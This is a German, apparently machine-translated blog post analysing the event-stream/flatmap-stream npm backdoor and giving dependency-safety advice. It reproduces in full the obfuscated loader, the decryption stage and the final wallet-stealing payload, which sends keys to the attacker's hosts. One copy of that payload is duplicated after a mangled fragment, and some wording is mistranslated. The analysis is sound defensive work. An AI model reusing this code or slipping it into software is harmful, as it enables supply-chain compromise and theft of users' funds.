Wenn Sie mit Javascript arbeiten, haben Sie höchstwahrscheinlich viel Rauschen über die Sicherheitsanfälligkeit im Ereignis-Stream- npm-Paket bemerkt. ( Ein Beitrag darüber wurde auch auf Habré veröffentlicht. ) Leider ist eine detaillierte Analyse der Situation unter mehr als 600 Kommentaren in der Ausgabe über Github begraben , von denen die meisten eine Flamme über den Zustand von npm, Open Source im Allgemeinen usw. sind. Ich fand es schlecht, weil die Hintertür aus technischer Sicht wirklich außergewöhnlich intelligent und interessant ist und uns auch eine wichtige Lektion zur Aufrechterhaltung der Sicherheit in Javascript-Anwendungen lehrt. Deshalb habe ich beschlossen, einen Beitrag mit einer detaillierten Erklärung zu schreiben, wie dieser Angriff funktioniert und was die Javascript-Community tun kann, um sich in Zukunft besser gegen solche Angriffe zu verteidigen.
Bevor ich anfange , möchte ich FallingSnow , maths22 und joepie91 für ihre hervorragende Untersuchung danken. Sie haben die ganze harte Arbeit geleistet, um die Sicherheitslücke zu analysieren und herauszufinden, was sie bewirkt. Später im Text werde ich ihre Ergebnisse zitieren, die auf die Urheberschaft hinweisen, aber ich denke, es lohnt sich ausdrücklich darauf hinzuweisen, dass ich diese ganze Arbeit nicht selbst gemacht habe. Ich fasse nur zusammen, was andere herausgefunden haben.
Hintergrund
event-stream ist ein beliebtes npm-Modul, das Dienstprogramme zum Arbeiten mit Datenströmen in einer node.js-Anwendung enthält. Jetzt wird es mehr als 1,9 Millionen Mal täglich heruntergeladen. Er ist jedoch seit mehreren Jahren nicht mehr in der aktiven Entwicklung. Sein Autor, Dominic Tarr , unterstützt eine große Anzahl anderer Projekte und verwendet dieses Modul nicht mehr in persönlichen Projekten, sodass er ignoriert wurde.
Gegen Mitte September schlug ein Benutzer mit dem Spitznamen right9ctrl (das GitHub-Konto wurde jetzt gelöscht) vor, die Modulunterstützung zu übernehmen. Dominic stimmte zu und gewährte Github und npm right9ctrl Zugriffsrechte. Die Geschichte der Commits sieht auf den ersten Blick harmlos aus:

Screenshot des Commit-Verlaufs im Event-Stream auf Github
Am 9. September fügte right9ctrl ein neues flatmap-stream
Modul hinzu , um die flatmap
Funktionalität für event-stream
zu implementieren (eine durchaus geeignete Lösung, da Event-Stream bereits ähnliche Dienstprogramme hatte, z. B. eine reguläre map
). Am 16. September entfernte right9ctrl dann die flatmap-stream
Abhängigkeit und implementierte die flatmap
Methode direkt. Und wieder ist nichts störend, es ist nicht ungewöhnlich, eine neue Abhängigkeit hinzuzufügen und dann in ein paar Tagen zu entscheiden, dass es besser ist, dasselbe selbst zu implementieren.
Angriff
Die Flatmap-Stream- Bibliothek sieht ebenfalls harmlos aus - tatsächlich enthält sie eine Implementierung einer Flat-Map für Datenströme (obwohl etwas Vorsicht geboten ist - die Bibliothek hat nur einen Mitwirkenden und bis zu diesem Zeitpunkt keine Downloads von npm).

Screenshot der Flatmap-Stream-Seite auf GitHub
Die in npm veröffentlichte Version dieses Moduls enthielt jedoch zusätzlichen Code in einer minimierten Datei, den Sie möglicherweise nicht einmal bemerken, selbst wenn Sie wissen, dass er vorhanden ist:
var Stream=require("stream").Stream;module.exports=function(e,n){var i=new Stream,a=0,o=0,u=!1,f=!1,l=!1,c=0,s=!1,d=(n=n||{}).failures?"failure":"error",m={};function w(r,e){var t=c+1;if(e===t?(void 0!==r&&i.emit.apply(i,["data",r]),c++,t++):m[e]=r,m.hasOwnProperty(t)){var n=m[t];return delete m[t],w(n,t)}a===++o&&(f&&(f=!1,i.emit("drain")),u&&v())}function p(r,e,t){l||(s=!0,r&&!n.failures||w(e,t),r&&i.emit.apply(i,[d,r]),s=!1)}function b(r,t,n){return e.call(null,r,function(r,e){n(r,e,t)})}function v(r){if(u=!0,i.writable=!1,void 0!==r)return w(r,a);a==o&&(i.readable=!1,i.emit("end"),i.destroy())}return i.writable=!0,i.readable=!0,i.write=function(r){if(u)throw new Error("flatmap stream is not writable");s=!1;try{for(var e in r){a++;var t=b(r[e],a,p);if(f=!1===t)break}return!f}catch(r){if(s)throw r;return p(r),!f}},i.end=function(r){u||v(r)},i.destroy=function(){u=l=!0,i.writable=i.readable=f=!1,process.nextTick(function(){i.emit("close")})},i.pause=function(){f=!0},i.resume=function(){f=!1},i};!function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}();
Der schädliche Teil hier ist am Ende und wurde speziell verschleiert, um eine Entdeckung zu vermeiden:
!function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}();
In einer Ausgabe auf Github stellte FallingSnow den Lesezeichen-Quellcode wieder her und zeigte, was dort vor sich ging:
Der Code lädt also die Datei ./test/data.js
herunter, die trotz des Mangels an Quellcode auf GitHub auch in der veröffentlichten Version in npm eingebettet war . Diese Datei enthält ein Array von Zeichenfolgen, die über AES256 verschlüsselt sind. Die Umgebungsvariable npm_package_description
wird durch den Befehl npm festgelegt, wenn der Code im Kontext eines Pakets ausgeführt wird, d. H. Das Stammpaket, einschließlich der Abhängigkeitskette event-stream -> flatmap-stream, wird zum npm_package_description
(und anderen ähnlichen Variablen) verwendet. ( Hinweis: Mit anderen Worten, die Beschreibung aus der Datei package.json Ihres Projekts, in dem Sie diesen Befehl ausgeführt haben, wird verwendet. ) Daher entschlüsselt der Code den Inhalt von test/data.js
Verwendung von npm_package_description
als Schlüssel und versucht dann, das Ergebnis auszuführen.
Für die überwiegende Mehrheit der Pakete führt dies zu einem Fehler (den der Schadcode stillschweigend abfängt und ignoriert), da ihre Beschreibung nicht der richtige Schlüssel für die AES256-Verschlüsselung ist und das Ergebnis der Entschlüsselung Unsinn ist. Dies ist ein sehr gezielter Angriff auf ein bestimmtes Paket. maths22 und einige andere Benutzer haben eine Liste von npm-Modulen heruntergeladen, die vom Ereignisstrom abhängen. Beim Durchsuchen der Beschreibungen dieser Module haben wir den richtigen Schlüssel ausgewählt und das Zielpaket gefunden: Es war Copay-Dash , eine Plattform für Bitcoin-Wallets. Die Beschreibung "A Secure Bitcoin Wallet" entschlüsselt erfolgreich den Inhalt von test/data.js
und zeigt den folgenden Code (freundlicherweise zur Verfügung gestellt von joepie91 ):
module.exports = function(e) { try { if (!/build\:.*\-release/.test(process.argv[2])) return; var t = process.env.npm_package_description, r = require("fs"), i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js", n = r.statSync(i), c = r.readFileSync(i, "utf8"), o = require("crypto").createDecipher("aes256", t), s = o.update(e, "hex", "utf8"); s = "\n" + (s += o.final("utf8")); var a = c.indexOf("\n/*@@*/"); 0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() { try { r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime) } catch (e) {} }) } catch (e) {} };
Dieser Code startet eine weitere Entschlüsselungsstufe, bei der das endgültige schädliche Skript geöffnet wird:
! function() { function e() { try { var o = require("http"), a = require("crypto"), c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----"; function i(e, t, n) { e = Buffer.from(e, "hex").toString(); var r = o.request({ hostname: e, port: 8080, method: "POST", path: "/" + t, headers: { "Content-Length": n.length, "Content-Type": "text/html" } }, function() {}); r.on("error", function(e) {}), r.write(n), r.end() } function r(e, t) { for (var n = "", r = 0; r < t.length; r += 200) { var o = t.substr(r, 200); n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+" } i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n) } function l(t, n) { if (window.cordova) try { var e = cordova.file.dataDirectory; resolveLocalFileSystemURL(e, function(e) { e.getFile(t, { create: !1 }, function(e) { e.file(function(e) { var t = new FileReader; t.onloadend = function() { return n(JSON.parse(t.result)) }, t.onerror = function(e) { t.abort() }, t.readAsText(e) }) }) }) } catch (e) {} else { try { var r = localStorage.getItem(t); if (r) return n(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(t, function(e) { if (e) return n(JSON.parse(e[t])) }) } catch (e) {} } } global.CSSMap = {}, l("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t))) }.bind(n)) } }); var e = require("bitcore-wallet-client/lib/credentials.js"); e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", e) : e() }();
\\ nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C \\ nDXUs / peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj \\ nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW + / BiGud7b77Fwfq372fUuEIk \\ N2P / pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762 \\ nPDBMwQsCKQcpKDXw / 6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz \\ nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl / cJ / x76To n2wIDAQAB \\ \ ! function() { function e() { try { var o = require("http"), a = require("crypto"), c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----"; function i(e, t, n) { e = Buffer.from(e, "hex").toString(); var r = o.request({ hostname: e, port: 8080, method: "POST", path: "/" + t, headers: { "Content-Length": n.length, "Content-Type": "text/html" } }, function() {}); r.on("error", function(e) {}), r.write(n), r.end() } function r(e, t) { for (var n = "", r = 0; r < t.length; r += 200) { var o = t.substr(r, 200); n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+" } i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n) } function l(t, n) { if (window.cordova) try { var e = cordova.file.dataDirectory; resolveLocalFileSystemURL(e, function(e) { e.getFile(t, { create: !1 }, function(e) { e.file(function(e) { var t = new FileReader; t.onloadend = function() { return n(JSON.parse(t.result)) }, t.onerror = function(e) { t.abort() }, t.readAsText(e) }) }) }) } catch (e) {} else { try { var r = localStorage.getItem(t); if (r) return n(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(t, function(e) { if (e) return n(JSON.parse(e[t])) }) } catch (e) {} } } global.CSSMap = {}, l("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t))) }.bind(n)) } }); var e = require("bitcore-wallet-client/lib/credentials.js"); e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", e) : e() }();
Wie Sie vielleicht vermutet haben, versucht dieses Skript, Ihre Bitcoin-Brieftasche zu stehlen und ihre Daten auf den Server des Angreifers hochzuladen.
Aktualisiert: Das npm-Team veröffentlichte seinen offiziellen Vorfallbericht , in dem erklärt wurde, dass der Schadcode im Copay-Veröffentlichungsprozess gestartet werden sollte, um ein Bitcoin-Diebstahlskript in den Copay-Wallet-Anwendungscode einzufügen.
Also um es zusammenzufassen
- Die beliebte Bitcoin-Plattform
copay-dash
verwendet die Event-Stream-Abhängigkeit. - Im September enthielt Event-Stream ungefähr eine Woche lang eine Flatmap-Stream-Abhängigkeit, da das Projekt an einen neuen Entwickler übertragen wurde, der die Abhängigkeit hinzufügte und eine Woche später entfernte.
- flatmap-stream enthielt ein verstecktes Fragment am Ende des minimierten Codes, der versuchte, die Zeilen aus der
test/data.js
zu dekodieren, wobei die Beschreibung des test/data.js
als AES256-Schlüssel verwendet wurde. - Bei jedem regulären Paket verursachte dies einen Fehler (da die Paketbeschreibung der falsche Schlüssel war), der stillschweigend verarbeitet wurde. Für Copay-Dash gab die Entschlüsselung jedoch gültiges JavaScript aus, das eine weitere Entschlüsselungsstufe einleitete und ein bösartiges Skript ausführte, das Ihre Bitcoin-Brieftasche stiehlt.
Was ist jetzt zu tun?
Es war ein überraschend gerissener Angriff, der stark an einen Januar-Beitrag erinnerte und einen ähnlichen hypothetischen Angriff beschrieb. Der Angreifer hat seine Spuren gekonnt gekehrt - der Code und die Geschichte der Commits auf Github zeigen eine harmlose und nicht verdächtige Situation (der neue Entwickler tritt dem Projekt bei, fügt eine Funktion hinzu und ändert dann die Implementierung geringfügig). Zusätzlich zu verdächtigen Anzeichen im Flatmap-Stream (ein neues Paket, es gibt keine Mitwirkenden und Download-Statistiken) erwies sich der Angriff als nahezu unsichtbar. Tatsächlich wurde es 2 Monate lang nicht erkannt und erst jetzt gefunden, weil der Angreifer einen kleinen Fehler mit der veralteten crypto.createDecipher
Methode anstelle von crypto.createDecipheriv
, was eine verdächtige Meldung über die Verwendung der veralteten Methode in einer anderen Bibliothek verursachte verwendet Event-Stream.
Leider wird uns diese Art von Angriff in naher Zukunft nicht verlassen. JavaScript ist derzeit die beliebteste Sprache , was bedeutet, dass es ein attraktives Ziel für Hacker bleibt. JavaScript hat im Vergleich zu anderen Sprachen auch relativ wenig Funktionen in der Standardbibliothek, was Entwickler dazu zwingt, Pakete von npm zu verwenden. Zusammen mit anderen kulturellen Faktoren führt dies dazu, dass JavaScript-Projekte normalerweise einen riesigen Abhängigkeitsbaum haben.
Es ist erwähnenswert, dass JavaScript-Anwendungen zwar anfälliger für diese Klasse von Sicherheitslücken sind, dies jedoch nicht unbedingt der Grund dafür ist, dass JavaScript im Allgemeinen weniger sicher ist. JavaScript wird normalerweise von aktiveren Entwicklern verwendet, die versuchen, auf der Welle des Fortschritts zu sein, dh ihre Benutzer installieren mehr Pakete und Updates, einschließlich Sicherheitskorrekturen. Gleichzeitig wurde die Java-Anwendung von Equifax aus genau dem entgegengesetzten Grund gehackt: Sie installierte monatelang keine Sicherheitsupdates für Apache Struts . Diese Art von Sicherheitsanfälligkeit ist in JavaScript-Anwendungen weniger wahrscheinlich. Letztendlich stellt sich bei der Auswahl eines technologischen Stacks für ein Unternehmen immer die Sicherheitsfrage. Eine wichtige Lektion wird darin bestehen, die möglichen Angriffsszenarien für Ihre spezielle Entscheidung zu verstehen und sie vorherzusehen.
Was bedeutet das für den Javascript-Stack? Es gibt keinen Mangel an Ideen und Vorschlägen, wie npm oder andere Communities solche Angriffe verhindern könnten. Für Endbenutzer gibt es jedoch mindestens zwei grundlegende Schritte, um Ihre Risiken zu verringern:
Verwenden Sie Sperrdateien . Es spielt keine Rolle, ob es sich um yarn.lock oder package-lock.json handelt. Jede Sperrdatei garantiert, dass Sie bei jeder Installation die gleichen Versionen von Paketen erhalten. Wenn Sie heute sicher sind, bleiben Sie morgen gleich. Anwendungen, die schwebende Abhängigkeiten ohne Verwendung von Sperrdateien üben, sind besonders anfällig für böswillige Updates, da sie automatisch die neueste verfügbare Version der Abhängigkeiten installieren. Das heißt, Sie können bei jeder Bereitstellung gefährdet werden, nachdem eine Ihrer Abhängigkeiten kompromittiert und veröffentlicht wurde Version mit Sicherheitslücke. Mit Sperrdateien beschränken Sie Ihr Risiko zumindest auf manuelle Aktionen von Entwicklern, die Pakete hinzufügen und aktualisieren. Diese können durch Codeüberprüfung oder andere Unternehmensrichtlinien überprüft werden.
Denken Sie nach, bevor Sie etwas setzen . Wie oben gezeigt, ist dies kein Allheilmittel. Hacker können dennoch durch Lesezeichen in minimiertem Code schlüpfen, die schwer zu finden sind, selbst wenn Sie wissen, dass sie vorhanden sind. Aber nicht weniger, Sie können Ihre Risiken reduzieren, wenn Sie sich an beliebte und aktiv unterstützte Pakete halten. Fragen Sie sich vor der Installation einer neuen Sucht zunächst, ob Sie sie wirklich benötigen. Wenn Sie bereits wissen, wie man Code schreibt, und es nicht mehr als ein Dutzend Zeilen dauert, schreiben Sie ihn einfach selbst. Wenn Sie noch eine Abhängigkeit benötigen, bewerten Sie diese vor der Installation. Wie viele Downloads hat sie auf npm? Sieht das Repository auf Github aktiv aktualisiert aus? Wurde das Paket kürzlich aktualisiert? Wenn nicht, sollten Sie es gabeln und verwenden. Dies verringert die Risiken, da Sie künftigen gefährlichen Aktualisierungen nicht ausgesetzt sind. Sie können den Quellcode selbst lesen und minimieren und sicherstellen, dass er tatsächlich enthält und funktioniert.